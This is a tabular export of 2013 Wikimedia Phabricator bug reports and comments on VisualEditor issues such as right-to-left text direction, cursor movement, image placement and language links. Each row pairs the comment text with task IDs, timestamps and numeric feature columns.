227831,VisualEditor: Respect Parsoid's <base>,*** Bug 50764 has been marked as a duplicate of this bug. ***,,,1372984971,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-aqxcn24qtgiw3ubxzs6h,task_subcomment,,True,c1,3,True,,,0,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 50764 has been marked as a duplicate of this bug. ***
227825,VisualEditor: Respect Parsoid's <base>,*** Bug 50216 has been marked as a duplicate of this bug. ***,,,1372270074,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-aqxcn24qtgiw3ubxzs6h,task_subcomment,,True,c1,2,True,,,-1,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 50216 has been marked as a duplicate of this bug. ***
227818,VisualEditor: Respect Parsoid's <base>,"Timo says we can get the browser to do the resolution by getting the .href and .src properties in the original Parsoid document, so all we need to do is figure out which attributes are affected. I can think of href and src, are there others?",,,1369780004,,PHID-USER-fovtl67ew4l4cc3oeypc,True,,,PHID-TASK-aqxcn24qtgiw3ubxzs6h,task_subcomment,,True,c1,1,False,,,-5,,2.0,0.0,0.0,2.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,6.0,0.0,2.0,12.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,4.0,0.0,0.0,10.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,2.0,0.0,0.0,0.0,8.0,6.0,6.0,0.0,4.0,12.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,6.0,12.0,8.0,2.0,0.0,0.0,6.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,3.92,0.8,"Timo says we can get the browser to do the resolution by getting the .href and .src properties in the original Parsoid document, so all we need to do is figure out which attributes are affected. I can think of href and src, are there others?"
50912,"VisualEditor: {Ctrl,Option}+{Delete,Backspace} doesn't delete a word in an RTL wiki","Pressing Ctrl-Backspace deletes a word in a <textarea> in Firefox. It works the same way in VisualEditor when the wiki's language is English, but if it's Hebrew, it only deletes one character.

A GWT testing scenario for this would be something like this:

Given $wgLanguageCode is 'he'
        And I am editing an article
        And I wrote 'אחת שתיים שלוש'
When I press Ctrl-Backspace
Then the remaining text is 'אחת שתיים '

--------------------------
**Version**: unspecified
**Severity**: normal",High,80.0,1369777380,1372962082.0,PHID-USER-xfe43w2lb5gpvglf4coa,False,,False,PHID-TASK-xrh4kcflnord5zllknj6,task_description,resolved,True,c1,1,False,False,True,-5,,0.0,0.5,0.0,0.0,0.0,2.5,0.0,0.0,0.0,0.5,1.5,5.5,0.0,0.5,0.0,2.5,0.0,3.0,3.0,0.5,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.5,0.0,7.0,0.0,1.5,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,8.5,1.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.5,3.5,15.0,2.0,2.5,5.5,0.0,0.0,0.0,0.0,0.5,0.0,0.5,0.0,5.0,3.0,9.0,0.0,5.5,0.0,5.0,0.0,1.5,2.5,0.0,2.5,0.0,0.0,0.5,3.8157894736842106,0.7017543859649122,"Pressing Ctrl-Backspace deletes a word in a <textarea> in Firefox. It works the same way in VisualEditor when the wiki's language is English, but if it's Hebrew, it only deletes one character.

A GWT testing scenario for this would be something like this:

Given $wgLanguageCode is 'he'
        And I am editing an article
        And I wrote 'אחת שתיים שלוש'
When I press Ctrl-Backspace
Then the remaining text is 'אחת שתיים '

--------------------------
**Version**: unspecified
**Severity**: normal"
227685,"VisualEditor: {Ctrl,Option}+{Delete,Backspace} doesn't delete a word in an RTL wiki","According to my test, this was fixed, and the behavior is as predicted on my local install. It doesn't work properly in the VE that exists in he.wikipedia, so whatever was done is new.

The fact this works without fixes is incredibly weird, since the handleDelete() function uses offsets, and those are supposed to be opposite between Hebrew and English. I'm checking into potential causes, but as far as I've seen, Inez' re-implemented code works.

Amir, if you can verify this works on your local installation, that'll be helpful. I am a bit concerned about this since it doesn't make sense (it *shouldn't* work) and I am concerned that it doesn't work on he.wiki. I want to verify it isn't some local fluke before we close this bug as resolved.",,,1371511847,,PHID-USER-zq6nzfwxwkyliljd4lfy,False,,,PHID-TASK-xrh4kcflnord5zllknj6,task_subcomment,,True,c1,2,False,,,-2,,0.5,0.0,0.0,1.5,3.0,6.5,4.5,0.0,0.0,0.5,3.0,5.5,0.0,0.0,0.0,4.5,0.0,5.0,12.5,0.0,1.0,0.5,1.0,0.0,1.0,0.5,0.0,0.5,0.5,0.5,0.0,9.5,2.0,3.0,0.5,1.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,1.0,0.0,2.0,0.0,0.5,0.0,9.0,2.0,2.0,1.0,0.0,0.0,0.0,0.5,0.0,1.5,0.0,0.5,2.5,0.0,0.0,0.0,0.5,0.0,2.5,6.0,7.0,2.5,3.0,7.0,0.0,0.0,0.0,0.0,5.5,0.0,0.0,0.0,8.5,12.5,3.5,0.0,0.5,0.0,8.5,0.0,1.5,0.5,0.0,1.0,0.0,0.0,0.0,3.7557302380252717,0.720981486923303,"According to my test, this was fixed, and the behavior is as predicted on my local install. It doesn't work properly in the VE that exists in he.wikipedia, so whatever was done is new.

The fact this works without fixes is incredibly weird, since the handleDelete() function uses offsets, and those are supposed to be opposite between Hebrew and English. I'm checking into potential causes, but as far as I've seen, Inez' re-implemented code works.

Amir, if you can verify this works on your local installation, that'll be helpful. I am a bit concerned about this since it doesn't make sense (it *shouldn't* work) and I am concerned that it doesn't work on he.wiki. I want to verify it isn't some local fluke before we close this bug as resolved."
227680,"VisualEditor: {Ctrl,Option}+{Delete,Backspace} doesn't delete a word in an RTL wiki","This will (should?) get fixed when Inez does the re-write of this area, but assigning to Moriel to bug him and make sure he does it right. :-)",,,1369782783,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-xrh4kcflnord5zllknj6,task_subcomment,,True,c1,1,True,,,-5,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,11.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,9.0,3.0,6.0,9.0,0.0,3.0,0.0,0.0,14.0,0.0,0.0,0.0,9.0,11.0,6.0,3.0,0.0,0.0,9.0,0.0,3.0,0.0,3.0,3.0,0.0,0.0,0.0,3.2857142857142856,0.9428571428571428,"This will (should?) get fixed when Inez does the re-write of this area, but assigning to Moriel to bug him and make sure he does it right. :-)"
50847,VisualEditor: Cursor before first character of heading and hitting Enter advances cursor one position,"Place the cursor at the first position of some heading (before the heading's first character). Hit Enter. As expected, an empty line appears before the heading, but the cursor is unexpectedly advanced by one position and is now located *after* the heading's first character.

--------------------------
**Version**: unspecified
**Severity**: normal",High,80.0,1369603080,1372901377.0,PHID-USER-zzvqlvm6i6kml4tfnqvq,False,,False,PHID-TASK-leu57abgm2tb4hkx7knq,task_description,resolved,True,c1,1,False,False,True,-6,,1.0,0.0,0.0,3.0,0.0,8.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,1.0,5.0,1.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,10.0,3.0,8.0,0.0,3.0,11.0,0.0,0.0,0.0,0.0,3.0,0.0,1.0,0.0,0.0,10.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,4.1506849315068495,0.589041095890411,"Place the cursor at the first position of some heading (before the heading's first character). Hit Enter. As expected, an empty line appears before the heading, but the cursor is unexpectedly advanced by one position and is now located *after* the heading's first character.

--------------------------
**Version**: unspecified
**Severity**: normal"
223509,VisualEditor: Cursor before first character of heading and hitting Enter advances cursor one position,*** Bug 50168 has been marked as a duplicate of this bug. ***,,,1373162663,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-leu57abgm2tb4hkx7knq,task_subcomment,,True,c1,3,True,,,0,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 50168 has been marked as a duplicate of this bug. ***
223501,VisualEditor: Cursor before first character of heading and hitting Enter advances cursor one position,This was fixed and is now deployed.,,,1372901377,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-leu57abgm2tb4hkx7knq,task_subcomment,,True,c1,3,True,,,0,,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,12.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.625,1.0,This was fixed and is now deployed.
50845,VisualEditor: Block-level media items' placement is incorrect (no clear after thumbs),"Open the VisualEditor on the page https://en.wikipedia.org/wiki/Battle_of_Paris_(1814) . The two images are placed side by side between the lead paragraph and the infobox; they should be placed below the infobox. 

It appears that the VisualEditor generally arranges two images horizontally rather than vertically, unlike the wikitext renderer.

--------------------------
**Version**: unspecified
**Severity**: normal",High,80.0,1369599780,1371083774.0,PHID-USER-zzvqlvm6i6kml4tfnqvq,False,,False,PHID-TASK-s4cphi53nj54xruaarhy,task_description,resolved,True,c1,1,False,False,True,-6,,0.0,0.0,0.0,3.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,10.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,4.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,1.0,0.0,3.0,1.0,0.0,0.0,0.0,1.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,3.0,11.0,1.0,1.0,11.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,3.0,10.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.585714285714285,0.6571428571428571,"Open the VisualEditor on the page URL . The two images are placed side by side between the lead paragraph and the infobox; they should be placed below the infobox. 

It appears that the VisualEditor generally arranges two images horizontally rather than vertically, unlike the wikitext renderer.

--------------------------
**Version**: unspecified
**Severity**: normal"
223365,VisualEditor: Block-level media items' placement is incorrect (no clear after thumbs),This is now fixed in master and will go live from tomorrow.,,,1371083774,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-s4cphi53nj54xruaarhy,task_subcomment,,True,c1,2,True,,,-3,,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.6923076923076925,1.0,This is now fixed in master and will go live from tomorrow.
223361,VisualEditor: Block-level media items' placement is incorrect (no clear after thumbs),*** Bug 49010 has been marked as a duplicate of this bug. ***,,,1370635551,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-s4cphi53nj54xruaarhy,task_subcomment,,True,c1,2,True,,,-4,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 49010 has been marked as a duplicate of this bug. ***
223355,VisualEditor: Block-level media items' placement is incorrect (no clear after thumbs),"This is because we haven't been rewriting the image HTML to be like the normal display mode; this is now done for thumbs (you can see it as experimental code on MediaWiki.org) and mostly done for inline images, and will be deployed next week.",,,1370634398,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-s4cphi53nj54xruaarhy,task_subcomment,,True,c1,2,True,,,-4,,0.0,0.0,0.0,4.0,2.0,6.0,4.0,2.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,6.0,14.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,6.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,0.0,4.0,4.0,0.0,2.0,0.0,0.0,0.0,4.0,10.0,6.0,2.0,4.0,8.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,14.0,4.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,3.98,0.88,"This is because we haven't been rewriting the image HTML to be like the normal display mode; this is now done for thumbs (you can see it as experimental code on MediaWiki.org) and mostly done for inline images, and will be deployed next week."
50814,VisualEditor: List langlinks (readonly) in the meta-data dialog,"This is to make the categories pane less lonely; we will want to do this 'properly' (writable) later, though this is… challenging given the Wikidata complexities.

--------------------------
**Version**: unspecified
**Severity**: enhancement",High,80.0,1369497420,1370489154.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-7stkkrpd65tx5rjkp4fg,task_description,resolved,True,c1,1,True,False,True,-6,,0.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,2.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,2.0,6.0,6.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,6.0,0.0,0.0,0.0,0.0,0.0,8.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,8.0,2.0,0.0,10.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,2.0,6.0,2.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,4.115384615384615,0.7307692307692307,"This is to make the categories pane less lonely; we will want to do this 'properly' (writable) later, though this is… challenging given the Wikidata complexities.

--------------------------
**Version**: unspecified
**Severity**: enhancement"
221132,VisualEditor: List langlinks (readonly) in the meta-data dialog,Related URL: https://gerrit.wikimedia.org/r/67245 (Gerrit Change I897da1cf06c79ee40e29fb632d09cddb57144ada),,,1370518722,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-7stkkrpd65tx5rjkp4fg,task_subcomment,,True,c1,2,False,,,-4,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,44.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.444444444444445,1.0,Related URL: GERRIT_URL (Gerrit Change I897da1cf06c79ee40e29fb632d09cddb57144ada)
221127,VisualEditor: List langlinks (readonly) in the meta-data dialog,Now merged and will go out with wmf6.,,,1370489154,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-7stkkrpd65tx5rjkp4fg,task_subcomment,,True,c1,2,True,,,-4,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,22.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.3333333333333335,1.0,Now merged and will go out with wmf6.
221121,VisualEditor: List langlinks (readonly) in the meta-data dialog,This is being done in gerrit 65432.,,,1370462536,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-7stkkrpd65tx5rjkp4fg,task_subcomment,,True,c1,1,True,,,-4,,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,12.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.625,1.0,This is being done in gerrit 65432.
50765,VisualEditor: Content is LTR even when the page language is RTL,"This is using Firefox under Ubuntu 13.x:


The problem:
If the wiki is RTL (Hebrew, for instance), start editing an empty page. The caret appears on the left side and the typing is done LTR.


I did a quick check, and noticed that there is a class added to the content box - ""ve-ui-surface mw-content-ltr"" even when the page language is rtl (defined in the <html dir=""rtl""..>

I found this addition in the ve.init.mw.ViewPageTarget line 786:
this.surface.$.addClass( 'mw-content-' + mw.config.get( 'wgVisualEditor' ).pageLanguageDir );

In my system this produced ""mw-content-ltr"" despite the fact the page language was Hebrew and the html direction was defined as rtl. 

However, I then tried to forcefully change it to rtl, just to test, and while the class appeared correctly (mw-content-rtl), the direction of the typed text was still LTR. It remained LTR when I changed the language to English.

--------------------------
**Version**: unspecified
**Severity**: normal
**OS**: Linux",High,80.0,1369379280,1369782964.0,PHID-USER-zq6nzfwxwkyliljd4lfy,False,,False,PHID-TASK-bs4iwunmzd4mvfoqwfmx,task_description,declined,True,c1,1,False,False,True,-6,,0.0,0.0,0.0,0.6666666666666666,0.0,3.6666666666666665,0.0,0.0,0.0,0.3333333333333333,1.6666666666666667,1.3333333333333333,0.0,0.0,0.3333333333333333,2.0,0.0,3.6666666666666665,6.333333333333333,0.0,1.3333333333333333,0.0,0.3333333333333333,0.3333333333333333,4.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,1.0,1.0,0.3333333333333333,0.0,0.6666666666666666,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.3333333333333333,13.0,0.6666666666666666,0.3333333333333333,0.0,0.3333333333333333,0.0,0.3333333333333333,0.0,0.0,0.6666666666666666,0.0,0.6666666666666666,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,6.666666666666667,2.6666666666666665,9.333333333333334,2.3333333333333335,1.6666666666666667,7.666666666666667,0.0,0.0,0.0,0.0,2.3333333333333335,0.0,0.6666666666666666,0.0,2.6666666666666665,6.333333333333333,5.333333333333333,0.0,3.0,0.0,2.6666666666666665,0.0,0.6666666666666666,1.0,0.0,0.6666666666666666,0.0,0.0,1.0,3.634865134865135,0.6736041736041735,"This is using Firefox under Ubuntu 13.x:


The problem:
If the wiki is RTL (Hebrew, for instance), start editing an empty page. The caret appears on the left side and the typing is done LTR.


I did a quick check, and noticed that there is a class added to the content box - ""ve-ui-surface mw-content-ltr"" even when the page language is rtl (defined in the <html dir=""rtl""..>

I found this addition in the ve.init.mw.ViewPageTarget line 786:
this.surface.$.addClass( 'mw-content-' + mw.config.get( 'wgVisualEditor' ).pageLanguageDir );

In my system this produced ""mw-content-ltr"" despite the fact the page language was Hebrew and the html direction was defined as rtl. 

However, I then tried to forcefully change it to rtl, just to test, and while the class appeared correctly (mw-content-rtl), the direction of the typed text was still LTR. It remained LTR when I changed the language to English.

--------------------------
**Version**: unspecified
**Severity**: normal
**OS**: Linux"
217915,VisualEditor: Content is LTR even when the page language is RTL,As agreed.,,,1369782964,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-bs4iwunmzd4mvfoqwfmx,task_subcomment,,True,c1,1,True,,,-5,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,As agreed.
217910,VisualEditor: Content is LTR even when the page language is RTL,"(In reply to comment #1)
> Okay, I figured out the problem, but this isn't precisely a bug and it
> depends
> on what you want the behavior to be.
> 
> First off, the issue seemed to be that the definition of the page language
> was
> always LTR in VE, regardless of what language I was using. Even when my page
> was Hebrew/RTL, VE's config showed it as english/ltr. That was quite
> frustrating, I was starting to think the problem is that the hooks page reads
> the language too early (which made no sense, really, since all other
> extensions
> read it the same way) 
> 
> Not so. Here's the issue:
> 
> I didn't notice that when I switched languages in MediaWiki, I did that
> through
> my own user preferences (since I was going frequently from English to Hebrew
> and back for testing). That meant that the *page* and global language was
> indeed English, and so VE read the global/page language *correctly* as
> EN/LTR.
> 
> So, while I was working in my own rtl preferences, VE corrected me by
> injecting
> LTR in there, and switching my marker to the left. 
> 
> When I changed the global settings of my wiki to hebrew, it all worked out
> perfectly again, and all is well.
> 
> So now a question for you guys -- this seems to be a decent behavior (though
> maybe for the sake of users it may be nice to say it somewhere?) -- however,
> there *is* an option to read the user language instead of the global language
> in the VisualEditor.hooks.php page, by using the $context->getLanguage()
> method
> instead of the currently used $out->getTitle()->getPageLanguage()
> 
> That would mean that the direction of the marker will be defined by the
> *user*
> defined language rather than by the page- or wiki-defined language
> direction. 
> 
> I can think of reasons this can be good, but I can also think of reasons this
> can be bad. I am not sure which is better. On one hand, the page probably
> defines the proper language, and the user language is mostly for the GUI, but
> on the other, if the user language is RTL, we usually expect the marker to
> follow suit.
> 
> Whatever is decided, this will definitely affect any and all RTL buttons
> (direction changes for paragraphs/page/etc) and the marker movement (whose
> bug
> I was going to look at next.
> 
> Should it stay with page language, or switch to user language when deciding
> marker direction in VE?

I think that the behaviour is as intended - language of content is a wiki-level not user-level decision. This means that if your interface is in RTL but the content is LTR (or vice versa) the buttons need to work in the content context, not the user language, yes. Do they currently not?",,,1369387531,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-bs4iwunmzd4mvfoqwfmx,task_subcomment,,True,c1,1,True,,,-6,,0.0,0.0,0.0,0.0,1.5,0.5,1.5,0.0,0.0,0.5,2.0,0.0,0.0,0.0,0.0,0.5,0.0,3.5,5.5,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.5,1.0,0.0,1.0,0.5,0.0,0.0,0.0,0.5,0.0,0.5,0.0,0.5,0.0,0.0,0.0,0.0,1.0,9.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5,2.0,31.0,1.5,1.0,4.0,0.0,0.0,0.0,0.5,1.0,0.5,0.5,0.0,1.5,5.5,28.0,0.5,0.0,0.0,1.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,3.2114774114774116,0.31605616605616604,"(In reply to comment #1)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

